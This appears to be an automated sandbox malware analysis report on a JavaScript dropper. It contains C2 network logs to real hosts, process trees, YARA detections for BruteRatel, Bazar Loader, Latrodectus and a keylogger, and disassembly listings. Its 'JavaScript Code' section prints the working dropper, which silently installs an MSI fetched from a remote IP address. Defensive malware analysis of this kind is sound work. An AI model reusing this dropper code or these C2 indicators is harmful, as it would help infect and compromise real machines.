21	192.168.2.5	49897	80.78.24.30	8041	5880	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 20:42:44.927695990 CEST	103	IN	HTTP/1.1 400 Bad Request Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	49903	80.78.24.30	8041	5880	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 20:42:45.635402918 CEST	103	IN	HTTP/1.1 400 Bad Request Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	49910	80.78.24.30	8041	5880	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 20:42:46.334979057 CEST	103	IN	HTTP/1.1 400 Bad Request Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	49912	80.78.24.30	8041	5880	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 20:42:46.972744942 CEST	103	IN	HTTP/1.1 400 Bad Request Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	50020	80.78.24.30	8041	5880	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 20:43:04.503603935 CEST	103	IN	HTTP/1.1 400 Bad Request Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	50021	80.78.24.30	8041	5880	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 20:43:05.128961086 CEST	103	IN	HTTP/1.1 400 Bad Request Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	50023	80.78.24.30	8041	5880	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 20:43:11.071758986 CEST	103	IN	HTTP/1.1 400 Bad Request Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	50024	80.78.24.30	8041	5880	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 20:43:11.698581934 CEST	103	IN	HTTP/1.1 400 Bad Request Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.5	50026	80.78.24.30	8041	5880	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 20:43:15.424710989 CEST	103	IN	HTTP/1.1 400 Bad Request Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.5	50027	80.78.24.30	8041	5880	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 20:43:16.062750101 CEST	103	IN	HTTP/1.1 400 Bad Request Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	50029	80.78.24.30	8041	5880	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 20:43:19.726120949 CEST	103	IN	HTTP/1.1 400 Bad Request Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.5	50030	80.78.24.30	8041	5880	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 20:43:20.728039026 CEST	103	IN	HTTP/1.1 400 Bad Request Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Bad Request
Oct 3, 2024 20:43:20.728935957 CEST	103	IN	HTTP/1.1 400 Bad Request Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.5	50032	80.78.24.30	8041	5880	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 20:43:26.428221941 CEST	103	IN	HTTP/1.1 400 Bad Request Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.5	50033	80.78.24.30	8041	5880	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 20:43:27.063258886 CEST	103	IN	HTTP/1.1 400 Bad Request Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.5	50036	80.78.24.30	8041	5880	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 20:43:33.963417053 CEST	103	IN	HTTP/1.1 400 Bad Request Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.5	50037	80.78.24.30	8041	5880	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 20:43:34.617934942 CEST	103	IN	HTTP/1.1 400 Bad Request Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.5	50039	80.78.24.30	8041	5880	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 20:43:40.425404072 CEST	103	IN	HTTP/1.1 400 Bad Request Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.5	50040	80.78.24.30	8041	5880	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 20:43:41.075792074 CEST	103	IN	HTTP/1.1 400 Bad Request Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.5	50042	80.78.24.30	8041	5880	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 20:43:45.837219000 CEST	103	IN	HTTP/1.1 400 Bad Request Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.5	50043	80.78.24.30	8041	5880	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 20:43:46.490183115 CEST	103	IN	HTTP/1.1 400 Bad Request Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.5	50052	80.78.24.30	8041	5880	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 20:44:10.707431078 CEST	103	IN	HTTP/1.1 400 Bad Request Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Bad Request

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	50048	188.114.96.3	443	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 18:44:05 UTC	418	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: kALB+jBIcqFh9baN0mUbkry70/OBhj9kRFFApZBql4EawZnSN3QqrUnsIQw7QdOqesy9dmntVXFHGxw5Mv+gazRt6m8J8V5Hg/GvY9DvAc6Ya81lXDJyArkIA11NUownH3IB6Y0gtSx3OHp9NFR/n0+B0klqqp57yBUl1vBMDU1wr4wR8ps= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: isomicrotich.com Content-Length: 92 Cache-Control: no-cache
2024-10-03 18:44:05 UTC	92	OUT	Data Raw: 31 51 44 56 39 33 6c 49 59 36 59 33 35 2f 69 57 77 44 6f 54 6c 4b 44 73 77 71 43 47 67 6a 4e 79 5a 51 78 76 35 61 52 59 74 4d 4e 45 34 73 65 48 50 58 4a 5a 70 54 7a 75 49 78 70 6f 48 76 7a 37 56 5a 4b 6d 4e 44 79 65 41 6a 70 44 4c 30 49 47 51 4a 7a 4e 57 52 56 48 7a 56 45 3d Data Ascii: 1QDV93lIY6Y35/iWwDoTlKDswqCGgjNyZQxv5aRYtMNE4seHPXJZpTzuIxpoHvz7VZKmNDyeAjpDL0IGQJzNWRVHzVE=
2024-10-03 18:44:06 UTC	544	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 18:44:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fE0s8DfJbSxGh2F%2FN5y3tg1cRzEhPtAqwXoFzShLKglxKYTo7YicyqsO%2F2QttoBwBiqEtfL7ckoINTyXGP%2B8ZK6X3oyVBPbmqfwQRCMr83GEgZ24d1VX8uXcQeMDpegs%2BjuO"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ccf14e318e87298-EWR
2024-10-03 18:44:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	50050	188.114.96.3	443	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 18:44:08 UTC	417	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: kALB+jBIcqFg9baN0mUbkry70/OBhj9kRFFApZBql4EawZnSN3QqrUnsIQw7QdOqesy9dmntVXFHGxw5Mv+gazRt6m8J8V5Hg/GvY9DvAc6Ya81lXDJyArkIA11NUownH3IB6Y0gtSx3OHp9NFR/n0+B0klqqp57yBUl1vBMDU1wr4wR8ps= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: isomicrotich.com Content-Length: 0 Cache-Control: no-cache
2024-10-03 18:44:08 UTC	569	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 18:44:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HlJg4bduKuuS3zrJh3Yz%2B6YBh%2FICwNvLaqWij3qYE%2BNsfMBV2eGfN%2Fkw7R90o1rtpqLDwGuLejZFUgnFpljHtiFd9CUuFKRGecgLmA5qdJK9%2B8naX0fxhxa42i9TBByPZl1o"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ccf14f12ad21861-EWR
2024-10-03 18:44:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	50051	188.114.96.3	443	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 18:44:09 UTC	417	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: kALB+jBIcqFj9baN0mUbkry70/OBhj9kRFFApZBql4EawZnSN3QqrUnsIQw7QdOqesy9dmntVXFHGxw5Mv+gazRt6m8J8V5Hg/GvY9DvAc6Ya81lXDJyArkIA11NUownH3IB6Y0gtSx3OHp9NFR/n0+B0klqqp57yBUl1vBMDU1wr4wR8ps= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: isomicrotich.com Content-Length: 0 Cache-Control: no-cache
2024-10-03 18:44:10 UTC	540	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 18:44:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9RB9XhtBjDIMJyH8PUbgfSc6SKTnQLRWNSuIXZKc3kjaEYW9ZxVs7slnZDUfBv4IbD6mfSfObKsOufFoPj1nxDeE%2FTrhmfbukYCzRpU9bcU%2Bha5T4Jo9KIvgVN57QAOl6xi0"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ccf14f8ca39430e-EWR
2024-10-03 18:44:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	50053	188.114.96.3	443	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 18:44:14 UTC	417	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: kALB+jBIcqFi9baN0mUbkry70/OBhj9kRFFApZBql4EawZnSN3QqrUnsIQw7QdOqesy9dmntVXFHGxw5Mv+gazRt6m8J8V5Hg/GvY9DvAc6Ya81lXDJyArkIA11NUownH3IB6Y0gtSx3OHp9NFR/n0+B0klqqp57yBUl1vBMDU1wr4wR8ps= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: isomicrotich.com Content-Length: 0 Cache-Control: no-cache
2024-10-03 18:44:14 UTC	542	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 18:44:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0aGxZ66p9YHBzrHIKvxQf2ShmeJDC2ll7AD82wFIoS33oK8qMt2gKjNac2GiQcCvevIUPaCrcE850e%2B62u5j%2BeG6WK55tN3qyjfiW4KyA8NLypSka4%2Blee9glSWtAnVC0b6N"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ccf15165f9142c1-EWR
2024-10-03 18:44:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	14:41:59
Start date:	03/10/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Document-18-33-08.js"
Imagebase:	0x7ff695ec0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	14:42:00
Start date:	03/10/2024
Path:	C:\Windows\System32\msiexec.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\msiexec.exe /V
Imagebase:	0x7ff761510000
File size:	69'632 bytes
MD5 hash:	E5DA170027542E25EDE42FC54C929077
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	14:42:02
Start date:	03/10/2024
Path:	C:\Windows\SysWOW64\msiexec.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\syswow64\MsiExec.exe -Embedding 3D862CBB7D25098EF2F446AEAACF52B4
Imagebase:	0xfb0000
File size:	59'904 bytes
MD5 hash:	9D09DC1EDA745A5F87553048E57620CF
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	14:42:03
Start date:	03/10/2024
Path:	C:\Windows\Installer\MSIF29D.tmp
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Installer\MSIF29D.tmp" /DontWait C:/Windows/SysWOW64/rundll32.exe C:\Users\user\AppData\Roaming\vierm_soft_x64.dll, GetDeepDVCState
Imagebase:	0xfb0000
File size:	399'328 bytes
MD5 hash:	B9545ED17695A32FACE8C3408A6A3553
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	14:42:03
Start date:	03/10/2024
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\rundll32.exe" C:\Users\user\AppData\Roaming\vierm_soft_x64.dll, GetDeepDVCState
Imagebase:	0x8c0000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	14:42:03
Start date:	03/10/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\SysWOW64\rundll32.exe" C:\Users\user\AppData\Roaming\vierm_soft_x64.dll, GetDeepDVCState
Imagebase:	0x7ff7a4580000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_BruteRatel_2, Description: Yara detected BruteRatel, Source: 00000006.00000002.3332076257.000001FF4AE58000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BruteRatel_1, Description: Yara detected BruteRatel, Source: 00000006.00000003.2444968399.000001FF4CA6D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Bazar_2, Description: Yara detected Bazar Loader, Source: 00000006.00000002.3332247627.000001FF4B020000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Bazar_2, Description: Yara detected Bazar Loader, Source: 00000006.00000002.3332368718.000001FF4B0A0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000006.00000003.2067028655.000001FF4CAD7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	14:42:41
Start date:	03/10/2024
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff674740000
File size:	5'141'208 bytes
MD5 hash:	662F4F92FDE3557E86D110526BB578D5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Latrodectus, Description: Yara detected Latrodectus, Source: 00000008.00000002.3353267482.000000000E6CB000.00000004.00000010.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	var activex = "ActiveXObject";
1	var method = "InstallProduct";
2	var d = "WindowsInstaller.Installer";
3	var a = "http://188.119.112.7/das.msi";
4	var j = "UILevel";
5	var f = 2;
6	var obj = new this[activex] ( d );
7	obj[j] = f;
8	obj[method] ( a );	InstallProduct("http://188.119.112.7/das.msi") ➔ undefined

Reset < >

Analysis Process: MSIF29D.tmpPID: 1848, Parent PID: 768COMMON

Execution Graph

Execution Coverage:	1.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	31.1%
Total number of Nodes:	322
Total number of Limit Nodes:	7

Executed Functions

Function 00FB52F0 Relevance: 56.4, APIs: 16, Strings: 16, Instructions: 402
libraryloadersleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetWindowsDirectoryW.KERNEL32(?,00000104,00000000,?,?,?,?,?), ref: 00FB549C
GetForegroundWindow.USER32(00000000,?,?,?,?,?), ref: 00FB551D
ShellExecuteExW.SHELL32(?), ref: 00FB5601
ShellExecuteExW.SHELL32(?), ref: 00FB5637
GetModuleHandleW.KERNEL32(Kernel32.dll,GetProcessId,?,?,?,?,?,?), ref: 00FB567C
GetProcAddress.KERNEL32(00000000), ref: 00FB5685
GetProcessId.KERNELBASE(?,?,?,?,?,?,?), ref: 00FB5688
AllowSetForegroundWindow.USER32(00000000), ref: 00FB568B
GetModuleHandleW.KERNEL32(Kernel32.dll,GetProcessId,?,?,?,?,?,?), ref: 00FB56AB
GetProcAddress.KERNEL32(00000000), ref: 00FB56AE
GetProcessId.KERNELBASE(?,?,?,?,?,?,?), ref: 00FB56B5
Sleep.KERNELBASE(00000064,?,?,?,?,?,?), ref: 00FB56CA
EnumWindows.USER32(00FB5830,?), ref: 00FB56DF
BringWindowToTop.USER32(00000000), ref: 00FB56F4
WaitForSingleObject.KERNEL32(?,000000FF,?,?,?,?,?,?), ref: 00FB5711
GetExitCodeProcess.KERNEL32(?,?), ref: 00FB571B

Strings

Directory:<, xrefs: 00FB55B2
FilePath:<, xrefs: 00FB5589
Window Visibility:, xrefs: 00FB55E3
runas, xrefs: 00FB54EC
Hidden, xrefs: 00FB55D6
Parameters:<, xrefs: 00FB55C6
open, xrefs: 00FB54D5
.cmd, xrefs: 00FB545F
.bat, xrefs: 00FB5422
ShellExecuteInfo members:, xrefs: 00FB5540
Kernel32.dll, xrefs: 00FB5677, 00FB56A6
Verb:<, xrefs: 00FB559E
Visible, xrefs: 00FB55DB, 00FB55EA
GetProcessId, xrefs: 00FB5672, 00FB56A1
%s\System32\cmd.exe, xrefs: 00FB54A9
/C ""%s" %s", xrefs: 00FB54C1

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: ProcessWindow$AddressExecuteForegroundHandleModuleProcShellWindows$AllowBringCodeDirectoryEnumExitObjectSingleSleepWait
String ID: %s\System32\cmd.exe$.bat$.cmd$/C ""%s" %s"$Directory:<$FilePath:<$GetProcessId$Hidden$Kernel32.dll$Parameters:<$ShellExecuteInfo members:$Verb:<$Visible$Window Visibility:$open$runas
API String ID: 2597324065-2796270252
Opcode ID: cda49db79cba8c1f82f57c3ff29bf32860cf88d2dd7006b15e5234dcf2389d7c
Instruction ID: 957c1972df42d45f40e05ebd988f8449ab3630a35526a2a8fb4e71b3444072fd
Opcode Fuzzy Hash: cda49db79cba8c1f82f57c3ff29bf32860cf88d2dd7006b15e5234dcf2389d7c
Instruction Fuzzy Hash: F9E1BF71E00A09DBDF11DFA9CC84BEEB7B5AF48B20F544169E815AB291EB389D01DF50

Function 00FB6A50 Relevance: 9.2, APIs: 4, Strings: 1, Instructions: 461
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 00FB6AC8
OpenProcessToken.ADVAPI32(00000000,00000008,00000000), ref: 00FB6AD5
CloseHandle.KERNEL32(00000000), ref: 00FB6AF5

Strings

S-1-5-18, xrefs: 00FB6B69

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: Process$CloseCurrentHandleOpenToken
String ID: S-1-5-18
API String ID: 4052875653-4289277601
Opcode ID: 1e8967156899e0a120001eb1a978a2a4ecf26f475d125c303611cf6a16bf0850
Instruction ID: ae589e6d422e6fd222d890d196fd3aa69348062a0bee71071906948f878236d5
Opcode Fuzzy Hash: 1e8967156899e0a120001eb1a978a2a4ecf26f475d125c303611cf6a16bf0850
Instruction Fuzzy Hash: 0C02AF71D002498FDF14DFA5C9557EEBBB5EF45314F188258D802AB286EB38AE05EF90

Function 00FB57C0 Relevance: 6.0, APIs: 4, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(00000008,?,8F6E4A30,?,-00000010), ref: 00FB57D0
OpenProcessToken.ADVAPI32(00000000), ref: 00FB57D7
GetTokenInformation.KERNELBASE(?,00000014(TokenIntegrityLevel),?,00000004,?), ref: 00FB580C
CloseHandle.KERNEL32(?), ref: 00FB5822

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: ProcessToken$CloseCurrentHandleInformationOpen
String ID:
API String ID: 215268677-0
Opcode ID: 4092c2c46ca6baf0c5726c8af3a2d1651991d43ab71729d790707bf4c99c1184
Instruction ID: 1627eaff492f562f6e7f586aef6bf4a7e2da0428721093e4b4809ee20619bda7
Opcode Fuzzy Hash: 4092c2c46ca6baf0c5726c8af3a2d1651991d43ab71729d790707bf4c99c1184
Instruction Fuzzy Hash: E4F01274148305ABEB10AF10EC45BAABBECFF44700F508819F984C21A0D779951CEB67

Function 00FBCDB0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 77
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCommandLineW.KERNEL32(8F6E4A30,?,?,?,?,?,?,?,?,?,00FF56D5,000000FF), ref: 00FBCDE8

Part of subcall function 00FB1F80: LocalAlloc.KERNEL32(00000040,00000000,?,?,vector too long,00FB4251,8F6E4A30,00000000,?,00000000,?,?,?,00FF4400,000000FF,?), ref: 00FB1F9D

ExitProcess.KERNEL32 ref: 00FBCEB1

Part of subcall function 00FB6600: CreateFileW.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000080,00000000,?), ref: 00FB667E

Strings

Full command line:, xrefs: 00FBCE13

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
